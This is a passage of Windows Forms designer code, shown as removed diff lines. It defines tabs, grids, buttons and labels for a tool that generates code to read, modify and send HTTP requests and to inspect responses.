System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn1.HeaderText = "Select the Parameter Type:"; - this.dataGridViewTextBoxColumn1.Name = "dataGridViewTextBoxColumn1"; - this.dataGridViewTextBoxColumn1.ReadOnly = true; - this.dataGridViewTextBoxColumn1.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewTextBoxColumn1.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // Column3 - // - this.Column3.HeaderText = "Desc"; - this.Column3.Name = "Column3"; - this.Column3.ReadOnly = true; - this.Column3.Visible = false; - // - // textBox3 - // - this.textBox3.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.textBox3.BackColor = System.Drawing.Color.White; - this.textBox3.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox3.Location = new System.Drawing.Point(18, 10); - this.textBox3.Multiline = true; - this.textBox3.Name = "textBox3"; - this.textBox3.ReadOnly = true; - this.textBox3.Size = new System.Drawing.Size(826, 28); - this.textBox3.TabIndex = 1; - this.textBox3.TabStop = false; - this.textBox3.Text = "You can read or modify any of the parameters in the Request. Select the parameter" + - " type, name and actions you want to perform below and the equivalent code will b" + - "e generated. "; - // - // tabPage7 - // - this.tabPage7.BackColor = System.Drawing.Color.White; - this.tabPage7.Controls.Add(this.ROPDisplayRTB); - this.tabPage7.Controls.Add(this.ROPParameterDescriptionTB); - this.tabPage7.Controls.Add(this.ROPErrorTB); - this.tabPage7.Controls.Add(this.ROPCreateCodeBtn); - this.tabPage7.Controls.Add(this.ROPParameterValueTB); - this.tabPage7.Controls.Add(this.ROPParameterValueLbl); - this.tabPage7.Controls.Add(this.ROPQuestionGB); - this.tabPage7.Controls.Add(this.ROPParameterTypeGrid); - this.tabPage7.Controls.Add(this.textBox7); - this.tabPage7.Location = new System.Drawing.Point(4, 22); - this.tabPage7.Margin = new System.Windows.Forms.Padding(0); - this.tabPage7.Name = "tabPage7"; - this.tabPage7.Size = new System.Drawing.Size(868, 302); - this.tabPage7.TabIndex = 1; - this.tabPage7.Text = " Read or Modify Other Properties "; - // - // ROPDisplayRTB - // - this.ROPDisplayRTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ROPDisplayRTB.BackColor = System.Drawing.Color.White; - this.ROPDisplayRTB.DetectUrls = false; - this.ROPDisplayRTB.Location = new System.Drawing.Point(11, 6); - this.ROPDisplayRTB.Name = "ROPDisplayRTB"; - this.ROPDisplayRTB.ReadOnly = true; - this.ROPDisplayRTB.Size = new System.Drawing.Size(847, 108); - this.ROPDisplayRTB.TabIndex = 26; - this.ROPDisplayRTB.Text = ""; - // - // ROPParameterDescriptionTB - // - this.ROPParameterDescriptionTB.BackColor = System.Drawing.Color.White; - this.ROPParameterDescriptionTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ROPParameterDescriptionTB.Location = new System.Drawing.Point(227, 179); - this.ROPParameterDescriptionTB.Multiline = true; - this.ROPParameterDescriptionTB.Name = "ROPParameterDescriptionTB"; - this.ROPParameterDescriptionTB.ReadOnly = true; - this.ROPParameterDescriptionTB.Size = new System.Drawing.Size(240, 65); - this.ROPParameterDescriptionTB.TabIndex = 25; - this.ROPParameterDescriptionTB.TabStop = false; - // - // ROPErrorTB - // - this.ROPErrorTB.BackColor = System.Drawing.Color.Red; - this.ROPErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ROPErrorTB.Location = new System.Drawing.Point(227, 260); - this.ROPErrorTB.Multiline = true; - this.ROPErrorTB.Name = "ROPErrorTB"; - this.ROPErrorTB.ReadOnly = true; - this.ROPErrorTB.Size = new System.Drawing.Size(358, 35); - this.ROPErrorTB.TabIndex = 24; - this.ROPErrorTB.TabStop = false; - this.ROPErrorTB.Visible = false; - // - // ROPCreateCodeBtn - // - this.ROPCreateCodeBtn.Location = new System.Drawing.Point(622, 265); - this.ROPCreateCodeBtn.Name = "ROPCreateCodeBtn"; - this.ROPCreateCodeBtn.Size = new System.Drawing.Size(136, 23); - this.ROPCreateCodeBtn.TabIndex = 23; - this.ROPCreateCodeBtn.Text = "Generate Code"; - this.ROPCreateCodeBtn.UseVisualStyleBackColor = true; - this.ROPCreateCodeBtn.Click += new System.EventHandler(this.ROPCreateCodeBtn_Click); - // - // ROPParameterValueTB - // - this.ROPParameterValueTB.Location = new System.Drawing.Point(590, 225); - this.ROPParameterValueTB.Name = "ROPParameterValueTB"; - this.ROPParameterValueTB.Size = new System.Drawing.Size(173, 20); - this.ROPParameterValueTB.TabIndex = 21; - this.ROPParameterValueTB.Visible = false; - // - // ROPParameterValueLbl - // - this.ROPParameterValueLbl.AutoSize = true; - this.ROPParameterValueLbl.Location = new System.Drawing.Point(494, 228); - this.ROPParameterValueLbl.Name = "ROPParameterValueLbl"; - this.ROPParameterValueLbl.Size = new System.Drawing.Size(90, 13); - this.ROPParameterValueLbl.TabIndex = 22; - this.ROPParameterValueLbl.Text = "Enter New Value:"; - this.ROPParameterValueLbl.Visible = false; - // - // ROPQuestionGB - // - this.ROPQuestionGB.Controls.Add(this.ROPAnswerEditRB); - this.ROPQuestionGB.Controls.Add(this.ROPAnswerReadRB); - this.ROPQuestionGB.Location = new System.Drawing.Point(497, 155); - this.ROPQuestionGB.Name = "ROPQuestionGB"; - this.ROPQuestionGB.Size = new System.Drawing.Size(267, 53); - this.ROPQuestionGB.TabIndex = 20; - this.ROPQuestionGB.TabStop = false; - this.ROPQuestionGB.Text = "Do you want to read or modify this value?"; - this.ROPQuestionGB.Visible = false; - // - // ROPAnswerEditRB - // - this.ROPAnswerEditRB.AutoSize = true; - this.ROPAnswerEditRB.Checked = true; - this.ROPAnswerEditRB.Location = new System.Drawing.Point(120, 21); - this.ROPAnswerEditRB.Name = "ROPAnswerEditRB"; - this.ROPAnswerEditRB.Size = new System.Drawing.Size(43, 17); - this.ROPAnswerEditRB.TabIndex = 6; - this.ROPAnswerEditRB.TabStop = true; - this.ROPAnswerEditRB.Text = "Edit"; - this.ROPAnswerEditRB.UseVisualStyleBackColor = true; - // - // ROPAnswerReadRB - // - this.ROPAnswerReadRB.AutoSize = true; - this.ROPAnswerReadRB.Location = new System.Drawing.Point(21, 21); - this.ROPAnswerReadRB.Name = "ROPAnswerReadRB"; - this.ROPAnswerReadRB.Size = new System.Drawing.Size(51, 17); - this.ROPAnswerReadRB.TabIndex = 5; - this.ROPAnswerReadRB.Text = "Read"; - this.ROPAnswerReadRB.UseVisualStyleBackColor = true; - this.ROPAnswerReadRB.CheckedChanged += new System.EventHandler(this.ROPAnswerReadRB_CheckedChanged); - // - // ROPParameterTypeGrid - // - this.ROPParameterTypeGrid.AllowUserToAddRows = false; - this.ROPParameterTypeGrid.AllowUserToDeleteRows = false; - this.ROPParameterTypeGrid.AllowUserToResizeRows = false; - this.ROPParameterTypeGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left))); - this.ROPParameterTypeGrid.BackgroundColor = System.Drawing.Color.White; - dataGridViewCellStyle38.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle38.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle38.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle38.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle38.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle38.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle38.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.ROPParameterTypeGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle38; - this.ROPParameterTypeGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ROPParameterTypeGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn3, - this.dataGridViewTextBoxColumn3, - this.Column4, - this.Column5, - this.dataGridViewTextBoxColumn4}); - this.ROPParameterTypeGrid.GridColor = System.Drawing.Color.White; - this.ROPParameterTypeGrid.Location = new System.Drawing.Point(11, 155); - this.ROPParameterTypeGrid.Name = "ROPParameterTypeGrid"; - this.ROPParameterTypeGrid.ReadOnly = true; - this.ROPParameterTypeGrid.RowHeadersVisible = false; - this.ROPParameterTypeGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ROPParameterTypeGrid.Size = new System.Drawing.Size(210, 140); - this.ROPParameterTypeGrid.TabIndex = 19; - this.ROPParameterTypeGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ROPParameterTypeGrid_CellClick); - // - // dataGridViewCheckBoxColumn3 - // - this.dataGridViewCheckBoxColumn3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn3.HeaderText = ""; - this.dataGridViewCheckBoxColumn3.MinimumWidth = 25; - this.dataGridViewCheckBoxColumn3.Name = "dataGridViewCheckBoxColumn3"; - this.dataGridViewCheckBoxColumn3.ReadOnly = true; - this.dataGridViewCheckBoxColumn3.Width = 25; - // - // dataGridViewTextBoxColumn3 - // - this.dataGridViewTextBoxColumn3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn3.HeaderText = "Select the Property Type:"; - this.dataGridViewTextBoxColumn3.Name = "dataGridViewTextBoxColumn3"; - this.dataGridViewTextBoxColumn3.ReadOnly = true; - this.dataGridViewTextBoxColumn3.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewTextBoxColumn3.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // Column4 - // - this.Column4.HeaderText = "Tag"; - this.Column4.Name = "Column4"; - this.Column4.ReadOnly = true; - this.Column4.Visible = false; - // - // Column5 - // - this.Column5.HeaderText = "FullOrUrl"; - this.Column5.Name = "Column5"; - this.Column5.ReadOnly = true; - this.Column5.Visible = false; - // - // dataGridViewTextBoxColumn4 - // - this.dataGridViewTextBoxColumn4.HeaderText = "Desc"; - this.dataGridViewTextBoxColumn4.Name = "dataGridViewTextBoxColumn4"; - this.dataGridViewTextBoxColumn4.ReadOnly = true; - this.dataGridViewTextBoxColumn4.Visible = false; - // - // textBox7 - // - this.textBox7.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.textBox7.BackColor = System.Drawing.Color.White; - this.textBox7.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox7.Location = new System.Drawing.Point(14, 120); - this.textBox7.Multiline = true; - this.textBox7.Name = "textBox7"; - this.textBox7.ReadOnly = true; - this.textBox7.Size = new System.Drawing.Size(826, 28); - this.textBox7.TabIndex = 18; - this.textBox7.TabStop = false; - this.textBox7.Text = resources.GetString("textBox7.Text"); - // - // tabPage8 - // - this.tabPage8.BackColor = System.Drawing.Color.White; - this.tabPage8.Controls.Add(this.SRErrorTB); - this.tabPage8.Controls.Add(this.SRCreateCodeBtn); - this.tabPage8.Controls.Add(this.SRLogSourceTB); - this.tabPage8.Controls.Add(this.SRLogSourceLbl); - this.tabPage8.Controls.Add(this.groupBox1); - this.tabPage8.Controls.Add(this.SRSendWithLogSourceRB); - this.tabPage8.Controls.Add(this.SRNormalSendRB); - this.tabPage8.Controls.Add(this.textBox2); - this.tabPage8.Location = new System.Drawing.Point(4, 22); - this.tabPage8.Name = "tabPage8"; - this.tabPage8.Size = new System.Drawing.Size(868, 302); - this.tabPage8.TabIndex = 2; - this.tabPage8.Text = " Send Request "; - // - // SRErrorTB - // - this.SRErrorTB.BackColor = System.Drawing.Color.Red; - this.SRErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.SRErrorTB.Location = new System.Drawing.Point(500, 161); - this.SRErrorTB.Multiline = true; - this.SRErrorTB.Name = "SRErrorTB"; - this.SRErrorTB.ReadOnly = true; - this.SRErrorTB.Size = new System.Drawing.Size(258, 83); - this.SRErrorTB.TabIndex = 15; - this.SRErrorTB.TabStop = false; - this.SRErrorTB.Visible = false; - // - // SRCreateCodeBtn - // - this.SRCreateCodeBtn.Location = new System.Drawing.Point(602, 250); - this.SRCreateCodeBtn.Name = "SRCreateCodeBtn"; - this.SRCreateCodeBtn.Size = new System.Drawing.Size(136, 23); - this.SRCreateCodeBtn.TabIndex = 14; - this.SRCreateCodeBtn.Text = "Generate Code"; - this.SRCreateCodeBtn.UseVisualStyleBackColor = true; - this.SRCreateCodeBtn.Click += new System.EventHandler(this.SRCreateCodeBtn_Click); - // - // SRLogSourceTB - // - this.SRLogSourceTB.Location = new System.Drawing.Point(231, 127); - this.SRLogSourceTB.Name = "SRLogSourceTB"; - this.SRLogSourceTB.Size = new System.Drawing.Size(204, 20); - this.SRLogSourceTB.TabIndex = 7; - this.SRLogSourceTB.Visible = false; - // - // SRLogSourceLbl - // - this.SRLogSourceLbl.AutoSize = true; - this.SRLogSourceLbl.Location = new System.Drawing.Point(35, 130); - this.SRLogSourceLbl.Name = "SRLogSourceLbl"; - this.SRLogSourceLbl.Size = new System.Drawing.Size(190, 13); - this.SRLogSourceLbl.TabIndex = 8; - this.SRLogSourceLbl.Text = "Enter a new unique Log Source Value:"; - this.SRLogSourceLbl.Visible = false; - // - // groupBox1 - // - this.groupBox1.Controls.Add(this.SRDontFollowRedirectRB); - this.groupBox1.Controls.Add(this.SRFollowRedirectRB); - this.groupBox1.Location = new System.Drawing.Point(16, 203); - this.groupBox1.Name = "groupBox1"; - this.groupBox1.Size = new System.Drawing.Size(371, 66); - this.groupBox1.TabIndex = 6; - this.groupBox1.TabStop = false; - this.groupBox1.Text = "If the response for the request has a redirect, do you want to follow it?"; - // - // SRDontFollowRedirectRB - // - this.SRDontFollowRedirectRB.AutoSize = true; - this.SRDontFollowRedirectRB.Checked = true; - this.SRDontFollowRedirectRB.Location = new System.Drawing.Point(92, 31); - this.SRDontFollowRedirectRB.Name = "SRDontFollowRedirectRB"; - this.SRDontFollowRedirectRB.Size = new System.Drawing.Size(39, 17); - this.SRDontFollowRedirectRB.TabIndex = 6; - this.SRDontFollowRedirectRB.TabStop = true; - this.SRDontFollowRedirectRB.Text = "No"; - this.SRDontFollowRedirectRB.UseVisualStyleBackColor = true; - // - // SRFollowRedirectRB - // - this.SRFollowRedirectRB.AutoSize = true; - this.SRFollowRedirectRB.Location = new System.Drawing.Point(20, 31); - this.SRFollowRedirectRB.Name = "SRFollowRedirectRB"; - this.SRFollowRedirectRB.Size = new System.Drawing.Size(43, 17); - this.SRFollowRedirectRB.TabIndex = 5; - this.SRFollowRedirectRB.Text = "Yes"; - this.SRFollowRedirectRB.UseVisualStyleBackColor = true; - // - // SRSendWithLogSourceRB - // - this.SRSendWithLogSourceRB.AutoSize = true; - this.SRSendWithLogSourceRB.Location = new System.Drawing.Point(16, 104); - this.SRSendWithLogSourceRB.Name = "SRSendWithLogSourceRB"; - this.SRSendWithLogSourceRB.Size = new System.Drawing.Size(639, 17); - this.SRSendWithLogSourceRB.TabIndex = 4; - this.SRSendWithLogSourceRB.Text = "Send the Request with a unique log source value. The logs for this Request will b" + - "e under the \'Other Logs\' tab of the \'Logs\' section."; - this.SRSendWithLogSourceRB.UseVisualStyleBackColor = true; - this.SRSendWithLogSourceRB.CheckedChanged += new System.EventHandler(this.SRSendWithLogSourceRB_CheckedChanged); - // - // SRNormalSendRB - // - this.SRNormalSendRB.AutoSize = true; - this.SRNormalSendRB.Checked = true; - this.SRNormalSendRB.Location = new System.Drawing.Point(16, 67); - this.SRNormalSendRB.Name = "SRNormalSendRB"; - this.SRNormalSendRB.Size = new System.Drawing.Size(531, 17); - this.SRNormalSendRB.TabIndex = 3; - this.SRNormalSendRB.TabStop = true; - this.SRNormalSendRB.Text = "Send the Request normally. The logs for this Request will be available under \'She" + - "ll\' tab of the \'Logs\' section,"; - this.SRNormalSendRB.UseVisualStyleBackColor = true; - // - // textBox2 - // - this.textBox2.BackColor = System.Drawing.Color.White; - this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox2.Location = new System.Drawing.Point(16, 20); - this.textBox2.Multiline = true; - this.textBox2.Name = "textBox2"; - this.textBox2.ReadOnly = true; - this.textBox2.Size = new System.Drawing.Size(726, 24); - this.textBox2.TabIndex = 1; - this.textBox2.TabStop = false; - this.textBox2.Text = "Once you have created a Request you can send it to the server and get the respons" + - "e.\r\nThere are a few options in sending the request. Select them from below and t" + - "he equivalent code will is shown below."; - // - // tabPage13 - // - this.tabPage13.Controls.Add(this.ReqODescTB); - this.tabPage13.Controls.Add(this.ReqOCreateCodeBtn); - this.tabPage13.Controls.Add(this.ReqOActionsGrid); - this.tabPage13.Controls.Add(this.textBox16); - this.tabPage13.Location = new System.Drawing.Point(4, 22); - this.tabPage13.Name = "tabPage13"; - this.tabPage13.Size = new System.Drawing.Size(868, 302); - this.tabPage13.TabIndex = 5; - this.tabPage13.Text = " Miscellaneous "; - this.tabPage13.UseVisualStyleBackColor = true; - // - // ReqODescTB - // - this.ReqODescTB.BackColor = System.Drawing.Color.White; - this.ReqODescTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ReqODescTB.Location = new System.Drawing.Point(358, 82); - this.ReqODescTB.Multiline = true; - this.ReqODescTB.Name = "ReqODescTB"; - this.ReqODescTB.ReadOnly = true; - this.ReqODescTB.Size = new System.Drawing.Size(298, 79); - this.ReqODescTB.TabIndex = 41; - this.ReqODescTB.TabStop = false; - // - // ReqOCreateCodeBtn - // - this.ReqOCreateCodeBtn.Enabled = false; - this.ReqOCreateCodeBtn.Location = new System.Drawing.Point(358, 182); - this.ReqOCreateCodeBtn.Name = "ReqOCreateCodeBtn"; - this.ReqOCreateCodeBtn.Size = new System.Drawing.Size(136, 23); - this.ReqOCreateCodeBtn.TabIndex = 40; - this.ReqOCreateCodeBtn.Text = "Generate Code"; - this.ReqOCreateCodeBtn.UseVisualStyleBackColor = true; - this.ReqOCreateCodeBtn.Click += new System.EventHandler(this.ReqOCreateCodeBtn_Click); - // - // ReqOActionsGrid - // - this.ReqOActionsGrid.AllowUserToAddRows = false; - this.ReqOActionsGrid.AllowUserToDeleteRows = false; - this.ReqOActionsGrid.AllowUserToResizeRows = false; - this.ReqOActionsGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left))); - this.ReqOActionsGrid.BackgroundColor = System.Drawing.Color.White; - dataGridViewCellStyle39.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle39.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle39.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle39.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle39.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle39.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle39.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.ReqOActionsGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle39; - this.ReqOActionsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ReqOActionsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn10, - this.dataGridViewTextBoxColumn16, - this.Column7, - this.dataGridViewTextBoxColumn17}); - this.ReqOActionsGrid.GridColor = System.Drawing.Color.White; - this.ReqOActionsGrid.Location = new System.Drawing.Point(16, 49); - this.ReqOActionsGrid.Name = "ReqOActionsGrid"; - this.ReqOActionsGrid.ReadOnly = true; - this.ReqOActionsGrid.RowHeadersVisible = false; - this.ReqOActionsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ReqOActionsGrid.Size = new System.Drawing.Size(326, 243); - this.ReqOActionsGrid.TabIndex = 39; - this.ReqOActionsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ReqOActionsGrid_CellClick); - // - // dataGridViewCheckBoxColumn10 - // - this.dataGridViewCheckBoxColumn10.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn10.HeaderText = ""; - this.dataGridViewCheckBoxColumn10.MinimumWidth = 25; - this.dataGridViewCheckBoxColumn10.Name = "dataGridViewCheckBoxColumn10"; - this.dataGridViewCheckBoxColumn10.ReadOnly = true; - this.dataGridViewCheckBoxColumn10.Width = 25; - // - // dataGridViewTextBoxColumn16 - // - this.dataGridViewTextBoxColumn16.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn16.HeaderText = "Select the Action:"; - this.dataGridViewTextBoxColumn16.Name = "dataGridViewTextBoxColumn16"; - this.dataGridViewTextBoxColumn16.ReadOnly = true; - this.dataGridViewTextBoxColumn16.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewTextBoxColumn16.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // Column7 - // - this.Column7.HeaderText = "Id"; - this.Column7.Name = "Column7"; - this.Column7.ReadOnly = true; - this.Column7.Visible = false; - // - // dataGridViewTextBoxColumn17 - // - this.dataGridViewTextBoxColumn17.HeaderText = "Desc"; - this.dataGridViewTextBoxColumn17.Name = "dataGridViewTextBoxColumn17"; - this.dataGridViewTextBoxColumn17.ReadOnly = true; - this.dataGridViewTextBoxColumn17.Visible = false; - // - // textBox16 - // - this.textBox16.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.textBox16.BackColor = System.Drawing.Color.White; - this.textBox16.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox16.Location = new System.Drawing.Point(27, 11); - this.textBox16.Multiline = true; - this.textBox16.Name = "textBox16"; - this.textBox16.ReadOnly = true; - this.textBox16.Size = new System.Drawing.Size(826, 28); - this.textBox16.TabIndex = 38; - this.textBox16.TabStop = false; - this.textBox16.Text = "You can read or modify any of the parameters in the Request. Select the parameter" + - " type, name and actions you want to perform below and the equivalent code will b" + - "e generated. "; - // - // tabPage2 - // - this.tabPage2.Controls.Add(this.tabControl2); - this.tabPage2.Location = new System.Drawing.Point(4, 22); - this.tabPage2.Margin = new System.Windows.Forms.Padding(0); - this.tabPage2.Name = "tabPage2"; - this.tabPage2.Size = new System.Drawing.Size(876, 328); - this.tabPage2.TabIndex = 1; - this.tabPage2.Text = " Response "; - this.tabPage2.UseVisualStyleBackColor = true; - // - // tabControl2 - // - this.tabControl2.Controls.Add(this.tabPage10); - this.tabControl2.Controls.Add(this.tabPage11); - this.tabControl2.Controls.Add(this.tabPage9); - this.tabControl2.Dock = System.Windows.Forms.DockStyle.Fill; - this.tabControl2.Location = new System.Drawing.Point(0, 0); - this.tabControl2.Margin = new System.Windows.Forms.Padding(0); - this.tabControl2.Name = "tabControl2"; - this.tabControl2.Padding = new System.Drawing.Point(0, 0); - this.tabControl2.SelectedIndex = 0; - this.tabControl2.Size = new System.Drawing.Size(876, 328); - this.tabControl2.TabIndex = 3; - // - // tabPage10 - // - this.tabPage10.BackColor = System.Drawing.Color.White; - this.tabPage10.Controls.Add(this.ResDisplayRTB); - this.tabPage10.Controls.Add(this.ResParameterDescriptionTB); - this.tabPage10.Controls.Add(this.ResErrorTB); - this.tabPage10.Controls.Add(this.ResCreateCodeBtn); - this.tabPage10.Controls.Add(this.ResParameterValueTB); - this.tabPage10.Controls.Add(this.ResParameterValueLbl); - this.tabPage10.Controls.Add(this.ResQuestionGB); - this.tabPage10.Controls.Add(this.ResParameterTypeGrid); - this.tabPage10.Controls.Add(this.textBox8); - this.tabPage10.Location = new System.Drawing.Point(4, 22); - this.tabPage10.Margin = new System.Windows.Forms.Padding(0); - this.tabPage10.Name = "tabPage10"; - this.tabPage10.Size = new System.Drawing.Size(868, 302); - this.tabPage10.TabIndex = 0; - this.tabPage10.Text = " Read or Modify Response Properties "; - // - // ResDisplayRTB - // - this.ResDisplayRTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ResDisplayRTB.BackColor = System.Drawing.Color.White; - this.ResDisplayRTB.DetectUrls = false; - this.ResDisplayRTB.Location = new System.Drawing.Point(8, 3); - this.ResDisplayRTB.Name = "ResDisplayRTB"; - this.ResDisplayRTB.ReadOnly = true; - this.ResDisplayRTB.Size = new System.Drawing.Size(847, 115); - this.ResDisplayRTB.TabIndex = 35; - this.ResDisplayRTB.Text = ""; - // - // ResParameterDescriptionTB - // - this.ResParameterDescriptionTB.BackColor = System.Drawing.Color.White; - this.ResParameterDescriptionTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ResParameterDescriptionTB.Location = new System.Drawing.Point(224, 165); - this.ResParameterDescriptionTB.Multiline = true; - this.ResParameterDescriptionTB.Name = "ResParameterDescriptionTB"; - this.ResParameterDescriptionTB.ReadOnly = true; - this.ResParameterDescriptionTB.Size = new System.Drawing.Size(240, 89); - this.ResParameterDescriptionTB.TabIndex = 34; - this.ResParameterDescriptionTB.TabStop = false; - // - // ResErrorTB - // - this.ResErrorTB.BackColor = System.Drawing.Color.Red; - this.ResErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ResErrorTB.Location = new System.Drawing.Point(224, 261); - this.ResErrorTB.Multiline = true; - this.ResErrorTB.Name = "ResErrorTB"; - this.ResErrorTB.ReadOnly = true; - this.ResErrorTB.Size = new System.Drawing.Size(358, 35); - this.ResErrorTB.TabIndex = 33; - this.ResErrorTB.TabStop = false; - this.ResErrorTB.Visible = false; - // - // ResCreateCodeBtn - // - this.ResCreateCodeBtn.Location = new System.Drawing.Point(619, 266); - this.ResCreateCodeBtn.Name = "ResCreateCodeBtn"; - this.ResCreateCodeBtn.Size = new System.Drawing.Size(136, 23); - this.ResCreateCodeBtn.TabIndex = 32; - this.ResCreateCodeBtn.Text = "Generate Code"; - this.ResCreateCodeBtn.UseVisualStyleBackColor = true; - this.ResCreateCodeBtn.Click += new System.EventHandler(this.ResCreateCodeBtn_Click); - // - // ResParameterValueTB - // - this.ResParameterValueTB.Location = new System.Drawing.Point(587, 226); - this.ResParameterValueTB.Name = "ResParameterValueTB"; - this.ResParameterValueTB.Size = new System.Drawing.Size(173, 20); - this.ResParameterValueTB.TabIndex = 30; - this.ResParameterValueTB.Visible = false; - // - // ResParameterValueLbl - // - this.ResParameterValueLbl.AutoSize = true; - this.ResParameterValueLbl.Location = new System.Drawing.Point(491, 229); - this.ResParameterValueLbl.Name = "ResParameterValueLbl"; - this.ResParameterValueLbl.Size = new System.Drawing.Size(90, 13); - this.ResParameterValueLbl.TabIndex = 31; - this.ResParameterValueLbl.Text = "Enter New Value:"; - this.ResParameterValueLbl.Visible = false; - // - // ResQuestionGB - // - this.ResQuestionGB.Controls.Add(this.ResAnswerEditRB); - this.ResQuestionGB.Controls.Add(this.ResAnswerReadRB); - this.ResQuestionGB.Location = new System.Drawing.Point(494, 156); - this.ResQuestionGB.Name = "ResQuestionGB"; - this.ResQuestionGB.Size = new System.Drawing.Size(267, 53); - this.ResQuestionGB.TabIndex = 29; - this.ResQuestionGB.TabStop = false; - this.ResQuestionGB.Text = "Do you want to read or modify this value?"; - this.ResQuestionGB.Visible = false; - // - // ResAnswerEditRB - // - this.ResAnswerEditRB.AutoSize = true; - this.ResAnswerEditRB.Checked = true; - this.ResAnswerEditRB.Location = new System.Drawing.Point(120, 21); - this.ResAnswerEditRB.Name = "ResAnswerEditRB"; - this.ResAnswerEditRB.Size = new System.Drawing.Size(43, 17); - this.ResAnswerEditRB.TabIndex = 6; - this.ResAnswerEditRB.TabStop = true; - this.ResAnswerEditRB.Text = "Edit"; - this.ResAnswerEditRB.UseVisualStyleBackColor = true; - // - // ResAnswerReadRB - // - this.ResAnswerReadRB.AutoSize = true; - this.ResAnswerReadRB.Location = new System.Drawing.Point(21, 21); - this.ResAnswerReadRB.Name = "ResAnswerReadRB"; - this.ResAnswerReadRB.Size = new System.Drawing.Size(51, 17); - this.ResAnswerReadRB.TabIndex = 5; - this.ResAnswerReadRB.Text = "Read"; - this.ResAnswerReadRB.UseVisualStyleBackColor = true; - this.ResAnswerReadRB.CheckedChanged += new System.EventHandler(this.ResAnswerReadRB_CheckedChanged); - // - // ResParameterTypeGrid - // - this.ResParameterTypeGrid.AllowUserToAddRows = false; - this.ResParameterTypeGrid.AllowUserToDeleteRows = false; - this.ResParameterTypeGrid.AllowUserToResizeRows = false; - this.ResParameterTypeGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | 